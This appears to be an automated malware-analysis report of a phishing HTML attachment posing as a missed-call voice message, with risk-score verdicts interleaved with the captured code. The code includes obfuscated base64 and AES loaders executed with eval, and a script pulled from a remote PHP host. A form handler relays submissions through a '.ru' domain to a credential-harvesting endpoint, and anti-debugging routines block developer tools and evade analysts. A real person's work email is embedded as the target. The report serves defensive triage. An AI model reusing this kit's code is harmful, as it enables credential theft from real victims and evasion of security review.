Windows Analysis Report
MissedCall_Record_3295935663.html

{
  "risk_score": 1,
  "reasoning": [
    "No headers provided to analyze",
    "Cannot make security assessment without header information",
    "Default to low risk score due to lack of evidence"
  ]
}

Date: unknown

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The use of obfuscated code and multiple layers of encoding further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of malicious intent."
}

  _0xccc7 = '#Bsara.fisher@overlakehospital.org'; (() => { const _0xeb5f = atob, _0x9b65 = ["ZG9jdW1lbnQud3JpdGUoYXRvYihgUEdoMGJXdytEUW84YldWMFlTQnVZVzFsUFNKMmFXVjNjRzl5ZENJZ1kyOXVkR1Z1ZEQwaWQybGtkR2c5WkdWMmFXTmxMWGRwWkhSb0xDQUphVzVwZEdsaGJDMXpZMkZzWlQweExqQWlQZzBLRFFvOGMzUjViR1UrRFFvZ0lHSnZaSGtnSUhzTkNnMEtJQ0JrYVhOd2JHRjVPaUFnWm14bGVEc05DZzBLQ1dwMWMzUnBabmt0WTI5dWRHVnVkRG9KWTJWdWRHVnlPdzBLRFFvSllXeHBaMjR0YVhSbGJYTTZJQWxqWlc1MFpYSTdEUW9KQ1dobGFXZG9kRG9nTlRCMmFEc05DZzBLQ1cxaGNtZHBiam9KTURzTkNnMEtDV0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQWtqWmpSbU5HWTBPdzBLRFFvSkNXWnZiblF0Wm1GdGFXeDVPZ2tKUVhKcFlXd3NDWE5oYm5NdGMyVnlhV1k3RFFvZ0lIME5DZzBLQ1NBdVoyRjViSGtKQ1hzTkNnbDBaWGgwTFdGc2FXZHVPaUFKWTJWdWRHVnlPdzBLRFFvZ0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklIZG9hWFJsT3cwS0NRbHdZV1JrYVc1bk9pQXpNSEI0T3cwS0lBbGliM0prWlhJdGNtRmthWFZ6T2drZ01UQndlRHNOQ2cwS0lHSnZlQzF6YUdGa2IzYzZJQWt3Q1RSd2VBa0pNVEJ3ZUNBZ2NtZGlZU2d3TENBZ01Dd2dNQ3dnTUM0eEtUc05DZ2tnZDJsa2RHZzZDVE0xTUhCNE93MEtEUW9nSUgwTkNnMEtJQWt1Ykc5bmJ5QUpldzBLQ1hkcFpIUm9PZ2tnTVRVd2NIZzdEUW9OQ2drZ2JXRnlaMmx1TFdKdmRIUnZi","VG9KQ1RJd2NIZzdEUW9OQ2lCOURRb2dDV2d5SUFsN0RRb05DZ2xtYjI1MExYTnBlbVU2SURFdU5XVnRPdzBLQ1NCdFlYSm5hVzR0WW05MGRHOXRPaUFnTWpCd2VEc05DZzBLQ1FsamIyeHZjam9nSXpNek16c05DZ2tnZlEwS0lHRjFaR2x2SUFsN0RRb05DZ2wzYVdSMGFEb2dDVEV3TUNVN0RRb05DZ2tnZlEwS0lDQm1iMjkwWlhJSkNYc05DZ2x0WVhKbmFXNHRkRzl3T2drSk1qQndlRHNOQ2cwS0lHWnZiblF0YzJsNlpUb2dNQzQ1WlcwN0RRb0pJR052Ykc5eU9pQWpOalkyT3cwS0RRb0pJSDBOQ2cwS0NTQmhkV1JwYnpvNkxYZGxZbXRwZEMxdFpXUnBZUzFqYjI1MGNtOXNjeTEyYjJ4MWJXVXRjMnhwWkdWeUlIc05DZzBLQ1NCa2FYTndiR0Y1T2lBSmJtOXVaVHNOQ2dsOURRb05DaUJoZFdScGJ6bzZMWGRsWW10cGRDMXRaV1JwWVMxamIyNTBjbTlzY3kxdGRYUmxMV0oxZEhSdmJpQUpldzBLSUFsa2FYTndiR0Y1T2dsdWIyNWxPdzBLSUgwTkNnMEtDVHd2YzNSNWJHVStEUW9OQ2p3dmFHVmhaRDROQ2p4aWIyUjVQZzBLQ1NBOFpHbDJJR05zWVhOelBTSm5ZWGxzZVNJK0RRb2dQR2x0WnlCemNtTTlJbWgwZEhCek9pOHZaVzVqY25sd2RHVmtMWFJpYmpBdVozTjBZWFJwWXk1amIyMHZhVzFoWjJWelAzRTlkR0p1T2tGT1pEbEhZMVJyWms1V01WbDBhVWRqTFVoVmNsTkdORTltU0VsWU5UQm1WVk50V0ZkUVYxQXlaeVp6SWlCM2FXUjBhRDBpTVRNd2NIZ2lQZzBLRFFv","SklEeG9NajVXYjJsalpTQk5ZV2xzUEM5b01qNE5DZzBLQ1FrOFlYVmthVzhnWTI5dWRISnZiSE05SWlJZ2JYVjBaV1E5SWlJK0RRb2dJRHh6YjNWeVkyVWdjM0pqUFNKb2RIUndjem92TDNkM2R5NTNNM05qYUc5dmJITXVZMjl0TDJoMGJXd3ZiVzkyWDJKaVlpNXZaMmNpSUhSNWNHVTlJbUYxWkdsdkwyOW5aeUkrRFFvZ0lGbHZkWElKWW5KdmQzTmxjZ2xrYjJWeklDQnViM1FnYzNWd2NHOXlkQ0IwYUdVZ1lYVmthVzhKWld4bGJXVnVkQzROQ2cwS0lDQThMMkYxWkdsdlBnMEtEUW9nUEdadmIzUmxjajROQ2cwS0NUeHdQc0twTWpBeU5DQWdUV2xqY205emIyWjBMaUJCYkd3Z2NtbG5hSFJ6SUhKbGMyVnlkbVZrTGp3dmNENE5DZzBLSUFrOEwyWnZiM1JsY2o0TkNnMEtDU0E4TDJScGRqNE5DZzBLSUNBSkRRb05Dand2WW05a2VUNE5Dand2YUhSdGJEND1gKSk7CnNldFRpbWVvdXQoKCkgPT4gewpjcmVvc290ZSA9IGBodHRwczpgK2AvL3Jlc29gKyd1cmNlcmVwZycrJ3JvdXAuY28nKydtL3JlczQ0NCcrIi5waHAiKyc\/Mi02ODc0NycrYDQ3MDczYCtgM2EyZjJmYCsiNTU1ODQ3NGEiKycyZTZjNjE2ZScrJzc0NjUnK2A2MzZmNmQ2YCsiOTZlMiIrYGU3Mjc1MmY2YCtgNzZiNmQ2YWArYDQ2NjI1NDY5YCtgMmYtXzB4YCtgY2NgK2BjN2A7CmRvY3VtZW50Wyd3cml0ZSddKCI8c2NyaXB0IHNyYz0nIiArIGNyZW9zb3RlICsgIic+PFwvc2NyaXB0PiIpOwp9LCA0MDAwKTs="]; const _0x8f3b = _0x9b65.map(_0xeb5f).join(''); this['_0x84c1'] = () => eval(_0x8f3b); this['_0x84c1'](); })(); 

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
    "risk_score": 7,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code. While the script appears to be using the CryptoJS library for legitimate cryptographic operations, the overall behavior and lack of transparency raise significant security concerns."
}

    var rLSGCqNaLcCFrWPl = document.createElement("script");
rLSGCqNaLcCFrWPl.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(rLSGCqNaLcCFrWPl);
rLSGCqNaLcCFrWPl.onload=function(){
var {a,b,c,d} = JSON.parse(atob("eyJhIjoicDVucmlhOGQ3a09xMFZ1NThLbUVNRzNVekFBdGdXcjlvTE40QzJrTFVJSWtxa1JFT2NWcG04aklrdjM2Z3NKOVVRY283d0VXUFY0SVwvdjFNTmVCdUdNUjBuWFwva0xNUzRsd05qVlwvb2QwdjhCdUh1M0NKdzJzUTBGMlVxMjcwZ25sUUNsYng2UldpTlprS01ZbkFpblR5RXc4dFQ5K0NhYWQwMzlQNVRyb2xvNHBla2hDdHVTQlZQOWt6WGdhdUtHQWwrRFwvc3NSUjV4ZnF1K3Q5UWUwSlh4cUozNzU5aHlSeE84SXBBaExIV01xMXZpN2lYemdBM0tnNGR6SzdpTkJuS0tYV1NIRkhaNFNIdEkweUxHcmFVd0lKNnVPb3FQWkhzZVkzVjdKbkZHYVBOR3ltbGJhMDNFblYyeGFCbmhCXC9jakRFUEZBa3c0bUIycHYyYzFrTzV1alJcL3pRNzRHY1lwbHZWT0MwZDlCZUNDSmpOSWRJQkRGZ0FPM2VGQTRQcmRSXC9qaFpTSStQYUpEUE1UeE5RazJrU0EyQmdyeUw1Q3Bvdm9zSll3R0V6ZGRVNXhPVXdMaE9xYkZCcW4xK0NBZHRJK1NlbG1EbkZEN1l5aHVBbW13SWU0RStjV1JKVkRtUnR1SWhJeDJ0XC9USmIwczJGQ1JFTlwvWmc5NW9URTJFaGVoZXFOVnM5WE81V0p4N1d5SklLTVhKdUlPempScHZkOGYrTldrQ2wzQnYyenJlamQrY0pRSUpcL2xDVnEzOERmQ0cyS3dyMFdcL2h0QVVHUlwvSU5UZjF6THEwQXpiUVwvTjhRS1pDN1ppWHdqTU5TejhvZjBGSXRjNWpVZmV0cjN5UnZZTVBmN01MOGdtUUxJdFVYTkxnalJJSEFcL1wvcVdKbVEzUFNiazlNWkl3VVBuRE4yVnpYM2YrMTZqanNraThDcHdBS1lPVTVhRXV1SUltaGFkd0c1S05oVkVXRncrTW0xblA0NkFPT01RQ2dOM0txZTB6ZW1UcFRzSW9GK0tuNGg3UW1xbm55eWxtaUtpdms4UDJuSTcwZUVzZDVBWmxObk1BRkUwSmNGRT0iLCJiIjoiMzMzNjQxZGYyNjYxMzU3NTQxOTg3YTVlMzU1MDE4OTkiLCJjIjoiNWYxMjI5ZWU0YTdlMThmYWMzNGJlZjJhMDgzMjI0N2IiLCJkIjoiMzA2NjY0MzAzOTY2NjUzODM3NjU2MjYxNjE2NDMyMzAzNDYyMzI2MTY1MzUzMjM2Mzk2NjMzNjI2MzMyNjMzOCJ9"));
var KVlYbitdaCWophzR = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999});
JHGkhDXEGZtuIhGb = CryptoJS.AES.decrypt(a,KVlYbitdaCWophzR,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
JHGkhDXEGZtuIhGb = JHGkhDXEGZtuIhGb.replace(/zVmjeYfUVmQNJCyw/g, _0xccc7);
document.write(JHGkhDXEGZtuIhGb);
}

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cHM6Ly9VWEdKLmxhbnRlY29taW4ucnUvZ2ttakZiVGkv") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNIUUpkTkh3T2FaIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0hRSmROSHdPYVogaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0hRSmROSHdPYVogaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojSFFKZE5Id09hWiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0hRSmROSHdPYVouY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNDRweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0hRSmROSHdPYVogLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNIUUpkTkh3T2FaIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojSFFKZE5Id09hWiAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNIUUpkTkh3T2FaIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNIUUpkTkh3T2FaIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojSFFKZE5Id09hWiAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojSFFKZE5Id09hWi5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI0hRSmROSHdPYVogLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNIUUpkTkh3T2FaICNURVFVYlZVUmNtIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpYaWROR0NwSEZaID0gZmFsc2U7DQooZnVuY3Rpb24gb2NUYWRBUFprVSgpIHsNCiAgICBsZXQgWU9xYUpmZHhKdiA9IGZhbHNlOw0KICAgIGNvbnN0IEt5VG1MVmVTdHMgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IG5ZZFJMQ3N0S1QgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with an unknown domain 'deryposi.ru' further increase the risk. While the script appears to have some legitimate functionality related to a form submission, the overall behavior is highly suspicious and indicative of potential malicious intent."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA1mWpjck2JQ2lao',
    'error-callback': niWYFeEYJz,
    callback: dAjAiQYOrE,
});
function niWYFeEYJz() {
    turnstile.reset();
}
function dAjAiQYOrE() {
    var dmQhMmzDrs = document.getElementById("GQyaLzPvrN");
    dmQhMmzDrs.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'Q411wd';
    var eBdGivMIfJ = "../wzLRPXqoLK2CTCQIF5ogW72SXGrhzrw0DLKUzguuAiF6oezp";
    fetch('https://2z8rB929H45s8kmDjiiVosIRpqiPllvex8sGy1PSdxeaK2G6mrps1eUS.deryposi.ru/psfmrtpqnoczvnuuLOSpAnZPJHOTAURTOFUQEWKEZDMXPKJLUUIHIIKDWRUFOKZPFXAIREKAAWXNT', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(eBdGivMIfJ, {
        method: "POST",
        body: new FormData(dmQhMmzDrs)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(XidNGCpHFZ == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://login.microsoftonline.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://login.microsoftonline.com');
    }
    })
    .catch(error => {
    window.location.replace('https://login.microsoftonline.com');
    });
}

{
    "risk_score": 1,
    "reasoning": "The provided JavaScript snippet appears to be a part of the CryptoJS library, which is a well-known and widely used cryptography library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is primarily focused on implementing various cryptographic primitives and utilities, which are common in legitimate applications. While the code uses some legacy practices like the `XDomainRequest` API, these are not inherently malicious and are likely used for compatibility reasons. Overall, this script appears to be a benign implementation of cryptographic functionality and poses a low risk."
}

!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(var c=0;c<n;c+=4)e[i+c>>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}());return new l.init(e,t)}}),s=t.enc={},c=s.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?h.ceil(s):h.max((0|s)-this._minBufferSize,0))*o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a);e=i.splice(0,c),r.sigBytes-=n}return new l.init(e,n)},clone:function(){var t=o.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),u=(n.Hasher=d.extend({cfg:o.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){d.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The script also includes an obfuscated interval function that appears to be designed to detect and respond to debugging attempts. Overall, this script demonstrates a clear intent to hinder security analysis and potentially engage in malicious activities, warranting a high-risk score."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
XidNGCpHFZ = false;
(function ocTadAPZkU() {
    let YOqaJfdxJv = false;
    const KyTmLVeSts = 100;
    setInterval(function() {
        const nYdRLCstKT = performance.now();
        debugger;
        const bqwaclofyo = performance.now();
        if (bqwaclofyo - nYdRLCstKT > KyTmLVeSts && !YOqaJfdxJv) {
            XidNGCpHFZ = true;
            YOqaJfdxJv = true;
            window.location.replace('https://login.microsoftonline.com');
        }
    }, 100);
})();
    

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a legitimate security mechanism used to protect websites from abuse. The script does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to malicious domains. It primarily handles communication between the challenge widget and the parent window, which is a common pattern for Cloudflare's managed challenge system. While the script uses some legacy APIs and performs aggressive DOM manipulation, these behaviors are likely necessary for the challenge functionality and do not indicate malicious intent. Overall, the script appears to be a benign implementation of Cloudflare's security measures."
}

        (function(){
            window._cf_chl_opt={
                cvId: '3',
                cZone: 'challenges.cloudflare.com',
                cTplV: 5,
                chlApivId: '0',
                chlApiWidgetId: 'kuz8w',
                chlApiSitekey: '0x4AAAAAAA1mWpjck2JQ2lao',
                chlApiMode: 'managed',
                chlApiSize: 'normal',
                chlApiRcV: 'sdpvwhFaeRL1KGXf979ThhKr57fOb4vmSPjzFUrrZPs-1736874444-1.3.1.1-y3kf.xXsbEGH9Rg.p4q4Sc6RqNuP5JC7XXiJt6DGWdI',
                chlApiTimeoutEncountered: 0,
                chlApiOverrunBudgetMs:10000,
                chlTimeoutMs:120000,
                cK:[],
                cType: 'chl_api_m',
                cRay: '901f38dd8d0d0c76',
                cH: '_mpm7ruxjK1amFQm1WVqQBgpaTf1IE4uR6kDAqIomCI-1736874444-1.1.1.1-5dSQv.W8LAkOlUWuB1KeVIukLU8UhKYc7jChUM2m8YHrUOV.VZuVtACAL6V8a0Ss',
                cFPWv: 'b',
                cLt: 'n',
                chlApiFailureFeedbackEnabled:true,
                chlApiLoopFeedbackEnabled:false,
                wOL:false,
                wT: 'auto',
                wS: 'normal',
                md: 'e1t1TkB.L2gg6UT26ul_fbf531aMaOjkgQNGoAAjBOo-1736874444-1.1.1.1-YOkyeNt89e5ILyTMOF_.n_HR37fiHcJ53J9LrdtEacMcYwPkrG.P.xpC4cOtxE4wjTd3N33AmovpujVnMMn5H6uXJVNsaOZYktLmrYZyxliYhMXf0RCrH1t8Lw495MON0Xc4rCOlr69S4j2hmo.zgWonRNL6N2A3s4kWO5oTe5EYpXM5hSZsdrM8_gGB74IT.OIR_euNvjSqhnWzmzq7mXeJbiYUZ_WQK8EQyPyXiBfOeUzg4kxo4WAcEvkO2OPox5nIq4xk5OaDtkkhZ89d3F4eG6i9TBkIDmQnZKq4.HQupm3JYLBmMp2izI2tsms7_hF1aSpYNJhIrNME9iUAUYqMAOaC5FMlSk5UE5D9OPgra6i_IgBi4sE9nxaX.dhomiUKxpk6BMCX6QCQTiXbvv0AMSZ..9H.jQsCNf3bGDonwYQIwImzmKtxLbQaQtyzaVn1.l8gI0tVHH1r5z.UXBaIcNBB7Js4J5WD_xtWf3I8cZNHSZJYueFkApCuqwGv_k_GF6SLdqhYhFDRiR_mjW4OwLzR08wHHSt.mGaXrH3RpvjXGi1F_GpsCAQ1dmuQGB8EWynBlGECmX1pSKGVxbnVtixWSXqOqGjWPU2ze37UCGl4aNAGzElMAgc3IMUtcEEwufoDRmEDnhc5kAkYbICuwDG_6_GzqaLfYO137H.xIeG_XNZzXFH9m9ET.QBokJ_dJNWxYB7BQji4weth7pyUwAPa644DQ8dFAJdDGx8g9zRt5IV0NlxWOZ58oh0g19BEP__pZYl.a3SFdLOAE